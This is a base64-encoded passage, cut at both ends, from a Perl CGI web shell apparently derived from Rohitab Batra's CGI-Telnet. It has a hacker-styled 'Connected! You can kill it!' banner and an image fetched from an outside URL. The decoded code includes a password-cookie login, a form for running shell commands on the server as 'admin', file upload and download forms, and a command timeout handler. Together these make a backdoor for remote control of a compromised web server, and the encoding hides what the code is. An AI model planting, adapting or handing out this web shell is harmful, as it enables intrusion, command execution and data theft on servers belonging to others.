JhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSB